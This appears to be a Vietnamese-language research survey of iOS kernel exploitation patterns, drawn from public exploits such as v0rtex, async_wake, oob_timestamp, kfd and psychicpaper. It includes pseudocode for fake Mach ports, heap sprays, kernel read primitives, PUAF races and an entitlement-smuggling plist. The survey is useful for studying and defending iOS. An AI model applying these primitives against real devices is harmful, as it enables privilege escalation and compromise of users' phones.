Tài liệu này phân tích cross-cutting patterns được sử dụng xuyên suốt các exploit từ Ian Beer, Siguza, Brandon Azad, và các threat actors (Operation Triangulation, Coruna, DarkSword). Mỗi pattern kèm PoC pseudocode trích từ actual exploit source code.


Pattern 1: Mach Port UAF → Fake Port → tfp0

Dùng bởi: v0rtex (Siguza), async_wake (Ian Beer), mach_portal (Ian Beer), SockPuppet, voucher_swap

Đây là pattern phổ biến nhất trong iOS exploitation (iOS 10-13). Sau đó bị mitigate bởi zone_require (iOS 14) nhưng vẫn là nền tảng kỹ thuật quan trọng.

Flow Tổng Quát

1. Trigger vulnerability → mach port reference count giảm quá 1
2. Port freed nhưng userland vẫn có handle
3. Spray controlled data vào freed port memory
4. Dùng dangling handle → access fake port
5. Fake port configured as IKOT_TASK → points to fake task
6. fake task → map = kernel_map
7. mach_vm_read/write qua fake port = kernel read/write

PoC: v0rtex (Siguza) — Fake Port Construction

Trích từ v0rtex source:

// Cấu trúc fake port phải valid ở 3 offsets khác nhau trong zone page
// vì zone allocator có thể đặt port tại offset 0x0, 0x68, hoặc 0x28

kport_t kport = {
    .ip_bits = 0x80000000,       // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE
    .ip_references = 100,         // Đủ cao để không bị free
    .ip_lock = { .type = 0x11 }, // Must be valid lock state
    .ip_messages.port = {
        .receiver_name = 1,
        .msgcount = MACH_PORT_QLIMIT_KERNEL,
        .qlimit = MACH_PORT_QLIMIT_KERNEL,
    },
    .ip_srights = 99,            // Send rights count
};

PoC: Leak Kernel Address Qua ip_context

// v0rtex technique: dùng ip_context để detect offset VÀ leak addresses
// Encode page position vào upper 32 bits
dptr[j].ip_context = (dptr[j].ip_context & 0xffffffff) |
                     ((uint64_t)(0x10000000 | i) << 32);
dptr[j].ip_messages.port.pad = 0x20000000 | i;
dptr[j].ip_lock.pad = 0x30000000 | i;

// Read back context để detect which offset our fake port landed at
mach_port_context_t ctx = 0;
mach_port_get_context(mach_task_self(), fakeport, &ctx);
// Upper 32 bits reveal: offset position + page index

PoC: KASLR Defeat Qua Object Graph Traversal

// Chain: realport → receiver (ipc_space) → is_task → itk_registered[0]
//        → ip_kobject (IOSurfaceRootUserClient) → vtable → KASLR slide

uint64_t ipc_space_addr = kread64(realport_addr + OFF_IP_RECEIVER);
uint64_t task_addr = kread64(ipc_space_addr + OFF_IS_TASK);
uint64_t uc_addr = kread64(task_addr + OFF_ITK_REGISTERED);
uint64_t vtable = kread64(uc_addr);  // First qword = vtable pointer
uint64_t kaslr_slide = vtable - KNOWN_VTABLE_OFFSET;

PoC: Kernel Read Primitive Không Cần pid_for_task

// v0rtex innovation: dùng mach_port_set_context + mach_port_get_attributes
// thay vì pid_for_task (cần shared address space, bị block bởi SMAP)

// Ghi target address vào ip_context
mach_port_set_context(mach_task_self(), fakeport, target_addr);

// Đọc: kernel interpret ip_context overlap với ip_requests→ipr_size
mach_msg_type_number_t outsz = 1;
int value = 0;
mach_port_get_attributes(mach_task_self(), fakeport,
    MACH_PORT_DNREQUESTS_SIZE,
    (mach_port_info_t)&value, &outsz);
// value = 32-bit read from target_addr

Pattern 2: Heap Spray & Grooming Techniques

Dùng bởi: Mọi kernel exploit

2a. OOL Mach Message Spray

// Standard heap spray: gửi OOL messages để fill kalloc zone
void spray_kalloc(uint32_t size, void *data, int count,
                  mach_port_t *ports) {
    for (int i = 0; i < count; i++) {
        mach_port_allocate(mach_task_self(),
            MACH_PORT_RIGHT_RECEIVE, &ports[i]);

        struct {
            mach_msg_header_t hdr;
            mach_msg_body_t body;
            mach_msg_ool_descriptor_t ool;
        } msg = {};

        msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX |
            MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
        msg.hdr.msgh_size = sizeof(msg);
        msg.hdr.msgh_remote_port = ports[i];
        msg.body.msgh_descriptor_count = 1;
        msg.ool.address = data;
        msg.ool.size = size;          // → kalloc.{size} zone
        msg.ool.type = MACH_MSG_OOL_DESCRIPTOR;
        msg.ool.deallocate = FALSE;
        msg.ool.copy = MACH_MSG_VIRTUAL_COPY;

        mach_msg(&msg.hdr, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
    }
}

// Free specific spray entries (create holes)
void free_spray(mach_port_t *ports, int start, int end) {
    for (int i = start; i < end; i++) {
        mach_port_destroy(mach_task_self(), ports[i]);
    }
}

2b. OSUnserializeXML Spray (v0rtex, cl0ver)

// Siguza's technique: dùng IOSurface external methods 9-11
// để parse XML → allocate controlled kernel objects

// Spray OSString objects size 0x1000 (page-sized)
char spray_xml[0x2000];
snprintf(spray_xml, sizeof(spray_xml),
    "<dict>"
    "<key>spray_%d</key>"
    "<string>%s</string>"   // 0xfff bytes + null = 0x1000 allocation
    "</dict>", index, payload_data);

// Call IOSurface external method to trigger kernel XML parsing
uint64_t inputScalar[2] = { surface_id, 0 };
uint32_t inputScalarCnt = 2;
IOConnectCallMethod(ioconn, 9 /* s_set_value */,
    inputScalar, inputScalarCnt,
    spray_xml, strlen(spray_xml) + 1,
    NULL, NULL, NULL, NULL);

2c. IOSurface Property Spray (Modern)

// IOSurface properties: key-value pairs stored in kernel
// Arbitrary data, controllable size, persistent across calls

// Write controlled data to kernel via IOSurface property
void iosurface_spray(io_connect_t client, uint32_t surface_id,
                     void *data, size_t size, int count) {
    for (int i = 0; i < count; i++) {
        uint32_t key = 0x41414141 + i;
        // set_value external method
        struct {
            uint32_t surface_id;
            uint32_t field_0;
            uint32_t key;
            uint32_t field_1;
            char data[];
        } *input = alloca(16 + size);

        input->surface_id = surface_id;
        input->key = key;
        memcpy(input->data, data, size);

        IOConnectCallStructMethod(client, 9 /* SET_VALUE */,
            input, 16 + size, NULL, NULL);
    }
}

2d. Pipe Buffer Spray

// Pipe buffers: controllable-size kernel allocations
int spray_pipes[SPRAY_COUNT][2];
char pipe_data[TARGET_SIZE];
memset(pipe_data, 'A', sizeof(pipe_data));

for (int i = 0; i < SPRAY_COUNT; i++) {
    pipe(spray_pipes[i]);
    write(spray_pipes[i][1], pipe_data, sizeof(pipe_data));
    // Kernel allocates buffer of TARGET_SIZE in kalloc zone
}

// Free specific pipes to create holes
for (int i = 0; i < SPRAY_COUNT; i += 2) {
    close(spray_pipes[i][0]);
    close(spray_pipes[i][1]);
}

Pattern 3: vm_map_copy Type Confusion (One Byte)

Dùng bởi: oob_timestamp (Brandon Azad), derivatives

Đặc biệt elegant: 1 byte OOB write → full physical memory access.

Core Concept

// vm_map_copy là union structure — type field quyết định interpretation
struct vm_map_copy {
    int type;       // ← Target: offset 0, 1 byte enough to change
    // Type 1 (ENTRY_LIST): entries là linked list of vm_map_entry
    // Type 3 (KERNEL_BUFFER): kdata là pointer to inline data + size
    union {
        struct vm_map_entry *hdr;  // Type 1
        struct {
            void *kdata;            // Type 3
            vm_size_t kalloc_size;
        };
    };
    vm_map_offset_t offset;
    vm_map_size_t size;
};

// Little-endian: byte 0 of type field = 0x01 (ENTRY_LIST)
//                                     or 0x03 (KERNEL_BUFFER)
// → 1 byte overflow changing 0x03 → 0x01 = type confusion!

Exploitation Flow

// Step 1: Create vm_map_copy of type KERNEL_BUFFER with fake entries
vm_map_copy_t copy = create_kernel_buffer_copy(fake_entry_data, size);

// Step 2: Trigger 1-byte OOB write → change type 3 → type 1
trigger_one_byte_overflow(&copy->type); // 0x03 → 0x01

// Step 3: vm_map_copyout_internal() processes "entries"
// Kernel thinks kdata pointer = entry list header
// Walks fake entries → calls pmap_enter_options() for each
// → Maps ARBITRARY physical pages into our address space!

mach_vm_address_t addr;
vm_map_copyout(task, &addr, copy);
// addr now maps to attacker-specified physical address

// Step 4: Read AMCC hardware register to find kernel physical base
// Physical address 0x200000680 = RORGNBASEADDR
volatile uint64_t *amcc = (uint64_t *)(addr + amcc_offset);
uint64_t ktrr_base = *amcc; // = kernel physical address

// Step 5: Map kernelcache physical pages → full kernel r/w

Pattern 4: Physical UAF (PUAF) Techniques

Dùng bởi: kfd (felix-pb), Dopamine, Trigon, Coruna

Modern pattern thay thế fake port technique trên iOS 15+.

Core Concept

VM bug → physical page freed nhưng virtual mapping retained
→ Kernel reallocate physical page cho object khác
→ Userspace vẫn đọc/ghi qua old virtual mapping
→ Nếu page trở thành page table → full physrw

PoC: smith PUAF Method (from kfd)

// smith method: exploit copy-on-write race condition
// Simplified from kfd source

// Step 1: Allocate VM region with COW pages
mach_vm_address_t addr;
mach_vm_allocate(mach_task_self(), &addr, PAGE_SIZE, VM_FLAGS_ANYWHERE);
memset((void *)addr, 'A', PAGE_SIZE);  // Fault in page

// Step 2: Create COW mapping via mach_vm_copy
mach_vm_address_t copy_addr;
mach_vm_allocate(mach_task_self(), &copy_addr, PAGE_SIZE, VM_FLAGS_ANYWHERE);
mach_vm_copy(mach_task_self(), addr, PAGE_SIZE, copy_addr);
// Now copy_addr shares physical page with addr (COW)

// Step 3: Race - trigger COW resolution + free simultaneously
// Thread 1: write to copy_addr → triggers COW
// Thread 2: deallocate addr → frees original physical page
// Race window: physical page freed but PTE for copy_addr not updated
// → copy_addr still maps to freed physical page = PUAF!

// Step 4: Kernel reallocates freed page for kernel object
// Step 5: Read/write via copy_addr = read/write kernel object

From PUAF to kread/kwrite

// kfd: kread via kqueue_workloop_ctl
uint64_t kread64(uint64_t addr) {
    // Setup kqueue workloop pointing to target addr
    // Trigger read via kevent → kernel reads from addr
    // Read result back via workloop output
    // (Specific mechanism varies by kfd method)
}

// kfd: kwrite via dup
void kwrite64(uint64_t addr, uint64_t value) {
    // Manipulate file descriptor internal pointer
    // dup() copies fd → kernel writes to corrupted pointer
    // → write to arbitrary kernel address
}

Pattern 5: IOKit Race Condition Exploitation

Dùng bởi: IOHIDeous (Siguza), nhiều IOKit CVEs, DarkSword

PoC: IOHIDeous Race (Siguza)

// Race condition trong IOHIDSystem::initShmem()
// EvOffsets structure nằm trong user-mapped shared memory

// Vulnerability:
// eop->evGlobalsOffset = sizeof(EvOffsets);  // WRITE
// <--- RACE WINDOW: attacker thay đổi evGlobalsOffset --->
// evg = (EvGlobals *)((char *)shmem_addr + eop->evGlobalsOffset); // READ

// Thread 1: Continuously modify shared memory
void *race_thread(void *arg) {
    volatile EvOffsets *eop = (EvOffsets *)shared_mem;
    while (!done) {
        eop->evGlobalsOffset = TARGET_OFFSET;  // Redirect evg
        usleep(1);
        eop->evGlobalsOffset = sizeof(EvOffsets); // Restore
    }
}

// Thread 2: Trigger initialization repeatedly
void *trigger_thread(void *arg) {
    while (!done) {
        // Force IOHIDSystem reinitialization via logout/reboot
        // initShmem() reads evGlobalsOffset from shared memory
        IOConnectCallMethod(hid_client, INIT_METHOD, ...);
    }
}

// Success: evg points to attacker-controlled offset
// → kernel writes EvGlobals fields at arbitrary memory location

IOKit Race Pattern (General)

// Pattern: external method + clientClose race
// Thread 1: call external method (accesses internal object)
// Thread 2: call clientClose (frees internal object)
// → UAF if method accesses object after close frees it

void *method_thread(void *arg) {
    while (!done) {
        IOConnectCallMethod(conn, SELECTOR, ...);
    }
}

void *close_thread(void *arg) {
    usleep(RANDOM_DELAY);
    IOServiceClose(conn);  // Frees objects used by methods
}

Pattern 6: Parser Disagreement (Logic Bug)

Dùng bởi: psychicpaper (Siguza)

PoC: XML Comment Trick

<!-- psychicpaper: exploit parser disagreement -->
<!-- CoreFoundation vs IOKit vs XPC parsers -->

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
 "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <!---><!-->
    <key>com.apple.private.security.no-container</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
    <key>platform-application</key>
    <true/>
    <!-- -->
</dict>
</plist>

Cách hoạt động:

Parser behavior for <!---><!--> sequence:

CoreFoundation (amfid):
  "<!--" → start comment
  Advance 2 chars → sees "->"
  → Thinks comment ends at "-->"
  → Skips EVERYTHING after until "<!-- -->"
  → Returns EMPTY dict (no entitlements seen)
  → amfid says: "binary has no entitlements" → ALLOW

IOKit (kernel), XPC (sandbox):
  "<!--" → start comment
  Advance 3 chars → sees "><!-"
  → Comment doesn't end properly
  → Parses entitlement keys INSIDE comment region
  → Returns dict WITH private entitlements
  → Kernel/sandbox grants: no-sandbox, tfp, platform binary

Exception Port Hijacking (Post-iOS 11)

// Sau iOS 11: non-Apple process không thể dùng task ports
// của Apple processes trực tiếp
// → Cần "proxy" technique

// Step 1: Spawn platform binary (e.g., cfprefsd) suspended
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED);
// Set exception port = our port
// Set bootstrap port = our port (proxy launchd)

// Step 2: Resume → binary faults → we catch exception
// Step 3: Manipulate thread state → call arbitrary functions
// Step 4: Use platform binary as proxy to send privileged messages

// Result: unprivileged app acts WITH platform binary privileges

Pattern 7: Radio/Remote Exploitation (AWDL)

Dùng bởi: Ian Beer AWDL exploit

Heap Grooming Qua Wi-Fi Frames

// AWDL Service Response Descriptors (SRDs) as remote heap spray
// Each SRD in AWDL frame → kalloc allocation in kernel

struct awdl_srd_tlv {
    uint8_t type;
    uint16_t length;     // Controls kalloc allocation size (up to 64KB)
    uint8_t data[];      // Arbitrary controlled content
};

// Attacker sends AWDL frames with multiple SRDs:
// → Each SRD = one kalloc allocation
// → Controllable size + content
// → Multiple SRDs per frame = megabytes of grooming
// → Different source MACs = create IO80211AWDLPeer objects

// Remote read primitive via BSS Steering:
// Corrupt steering_msg_blob pointer in IO80211AWDLPeer
// → Trigger BSS steering state machine
// → Kernel reads from corrupted pointer
// → Embeds data in outbound AWDL frame
// → Attacker receives frame = kernel memory disclosure

Pattern 8: Coprocessor DMA Bypass (SPTM)

Dùng bởi: Coruna (Rocket exploit)

Concept

SPTM protects CPU memory access nhưng KHÔNG protect DMA:

Normal CPU access:
  CPU → MMU → SPTM check → Physical memory
  ✗ SPTM blocks unauthorized access

Coprocessor DMA:
  GFX coprocessor → IOMMU → Physical memory
  ✓ IOMMU configuration có gaps → bypass SPTM!

Attack flow:
  1. Exploit kernel → gain control of GFX coprocessor commands
  2. Craft DMA operation targeting page table physical address
  3. GFX DMA writes to page table → bypasses SPTM
  4. Create self-referencing PTE:
     PTE[x] → physical address of page table page itself
     → Modifying PTE[x] = modifying the page table
     → Can create PTE pointing to ANY physical address
  5. → Full physrw bypass SPTM

Tổng Hợp: Attack Pattern Matrix

Pattern Khi nào dùng iOS range Complexity Reliability
Fake port → tfp0 Có port UAF ≤ iOS 13 Medium High
IOSurface kread/kwrite Có heap corruption + IOSurface iOS 11+ Medium High
vm_map_copy type confusion Có 1-byte OOB write iOS 13 High High
PUAF → physrw Có VM bug iOS 14-16 High Medium-High
Parser disagreement Có parser inconsistency Any (logic bug) Low 100% (deterministic)
Race condition Có concurrent access bug Any Low-Medium Low (probabilistic)
OOL msg spray Heap grooming Any Low High
Coprocessor DMA SPTM bypass needed iOS 17+ Very High Unknown
Radio proximity Remote/0-click needed iOS 13 Very High Medium

Evolution Timeline

2016: mach_portal    → Fake port pattern established
2017: async_wake     → IOSurface + OOL port spray refined
2017: v0rtex         → OSUnserializeXML spray, multi-offset port
2017: IOHIDeous      → IOKit race condition patterns
2019: SockPuppet     → Socket UAF variant
2020: oob_timestamp  → vm_map_copy type confusion, physrw without fake port
2020: psychicpaper   → Pure logic bug, no memory corruption
2020: AWDL           → Remote kernel exploitation via Wi-Fi
2022: kfd            → PUAF techniques (smith, landa, physpuppet)
2023: Op. Triangulation → Hardware MMIO PPL bypass
2025: Trigon         → Deterministic exploitation
2025: Coruna         → Coprocessor DMA SPTM bypass
2026: DarkSword      → Multi-hop sandbox escape, VFS race → physrw